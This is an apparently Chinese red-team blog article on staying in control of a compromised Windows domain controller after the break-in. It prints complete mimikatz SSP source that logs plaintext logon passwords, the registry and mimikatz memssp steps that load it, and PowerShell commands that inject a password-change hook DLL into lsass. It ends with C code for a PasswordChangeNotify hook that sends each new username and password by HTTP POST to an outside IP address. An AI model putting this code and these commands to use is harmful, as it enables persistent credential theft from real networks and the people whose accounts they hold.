前言
拿下域控,渗透就结束了吗?实际上,往往刚刚开始。
本文就域控权限维持的两种方法展开研究:SSP
和PasswordChangeNotify
。牢牢抓住这条鱼。
SSP
何为SSP
SPP全称为Security Support Provider
,安全支持提供者。
SPP是一个dll,用于身份的验证。
windows下的SSP包含有:
- NTLMSSP (msv1_0.dll)
- Kerberos (kerberos.dll)
- NegotiateSSP (secur32.dll)
- Secure Channel (schannel.dll)
- TLS/SSL
- Digest SSP (wdigest.dll)
- CredSSP (credssp.dll)
- DPA(Distributed Password Authentication) (msapsspc.dll)
- Public Key Cryptography User-to-User (PKU2U, pku2u.dll)
SSPI
SSPI全称为Security Support Provider Interface
,为SSP接口,实际上就是SSP的API。
LSA
LSA全称Local Security Authority
,是微软窗口操作系统的一个内部程序,负责运行Windows系统安全政策。它在用户登录时电脑单机或服务器时,验证用户身份,管理用户密码变更,并产生访问字符。它也会在窗口安全记录档中留下应有的记录。用于身份的验证。其中就包含有lsass.exe
进程。
操作lsass进程需要至少system权限。
利用SSP进行权限维持
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
mimikatz
早以支持这个功能,该文件为为mimilib.dll
。mimikatz poc为:
#include "kssp.h" static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, kssp_SpInitialize, kssp_SpShutDown, kssp_SpGetInfo, kssp_SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, }; NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return STATUS_SUCCESS; } NTSTATUS NTAPI kssp_SpShutDown(void) { return STATUS_SUCCESS; } NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo) { PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION; PackageInfo->wVersion = 1; PackageInfo->wRPCID = SECPKG_ID_NONE; PackageInfo->cbMaxToken = 0; PackageInfo->Name = L"KiwiSSP"; PackageInfo->Comment = L"Kiwi Security Support Provider"; return STATUS_SUCCESS; } NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials) { FILE * kssp_logfile;; #pragma warning(push) #pragma warning(disable:4996) if(kssp_logfile = _wfopen(L"kiwissp.log", L"a")) #pragma warning(pop) { klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName); klog_password(kssp_logfile, &PrimaryCredentials->Password); klog(kssp_logfile, L"\n"); fclose(kssp_logfile); } return STATUS_SUCCESS; } NTSTATUS NTAPI kssp_SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables) { *PackageVersion = 0x00000042; *ppTables = &kiwissp_SecPkgFunctionTable; *pcTables = 1; return STATUS_SUCCESS; }
64位和32位的都有,和目标系统位数要一致。
将该dll拷贝到域控c:\windows\system32
下
打开注册表,修改域控位置HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
在Security Packages
下添加mimilib.dll
将域控重启系统。打开新生成文件c:\windows\system32\kiwissp.log
。
kiwissp.log记录着登录的账户和明文密码
但该方式弊端非常明显:重启的动作太大。
mimikatz同样支持了以内存更新的方式更新ssp,无需重启就能获取到登录用户的账号信息和密码。
进入与目标系统位数相同的mimikatz后,输入命令
- privilege::debug
- misc::memssp
当目标用户注销后再登录,账户和明文密码会储存到C:\Windows\system32\mimilsa.log
type C:\Windows\system32\mimilsa.log
实际上就是将该dll注入到lsass进程中。该方式重启后无效,需要重新注入。
但依靠mimikatz这两种方式有一定局限性。下面介绍通过Hook PasswordChangeNotify
拦截修改的帐户密码的方法。
PasswordChangeNotify
何为PasswordChangeNotify
PasswordChangeNotify
是windows提供的一个API。
具体参数返回值参照官方文档:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine
当域控密码被修改时,LSA首先调用PasswordFileter
函数,该函数作用为检测新密码是否满足复杂度。如果符合则调用PasswordChangeNotify
在系统上同步更新密码。
HOOK PasswordChangeNotify
具体实现思路如下:
- 为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
- 在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
- 将生成的dll注入到lssas进程中。
使用HOOK PasswordChangeNotify无需重启域控系统或修改注册表,更加隐蔽且贴合实际。
技术复现
前人栽树,后人乘凉。
项目地址:https://github.com/clymb3r/Misc-Windows-Hacking
下载后将sln文件打开,右键解决方案,将MFC的使用设置为在静态库中使用MFC编译工程,然后F7编译。
dll生成成功之后就需要将dll注入,这里估摸着自己写一个远线程注入也可以,同样可以使用powershell脚本进行注入。
使用该将HookPasswordChange.dll注入内存
Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
执行后若无报错信息则说明注入成功。注意dll位数。
当更改密码后,能够抓取到更改后的密码,账户和明文密码储存在C:\Windows\Temp\passwords.txt
。
当然存储文件位置和类型可以自定义,只需更改HookPasswordChange.cpp文件。
如果觉得仍然不方便,希望直接将密码上传到服务器,可以使用http协议发送。
#include <windows.h> #include <stdio.h> #include <WinInet.h> #include <ntsecapi.h> void writeToLog(const char* szString) { FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); if (NULL == pFile) { return; } fprintf(pFile, "%s\r\n", szString); fclose(pFile); return; } // Default DllMain implementation BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { OutputDebugString(L"DllMain"); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } BOOLEAN __stdcall InitializeChangeNotify(void) { OutputDebugString(L"InitializeChangeNotify"); writeToLog("InitializeChangeNotify()"); return TRUE; } BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation ) { OutputDebugString(L"PasswordFilter"); return TRUE; } NTSTATUS __stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword ) { FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0); HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0); char* pBuf="SomeData"; OutputDebugString(L"PasswordChangeNotify"); if (NULL == pFile) { return; } fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer); fclose(pFile); InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2); InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2); HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf)); return 0; }
参考
https://blog.carnal0wnage.com/2013/09/stealing-passwords-every-time-they.html
https://github.com/gentilkiwi/mimikatz/blob/bb371c2acba397b4006a6cddc0f9ce2b5958017b/mimilib/kssp.c#L21
https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Security%20Support%20Provider.html
https://paper.seebug.org/papers/Archive/drops2/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Hook%20PasswordChangeNotify.html
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论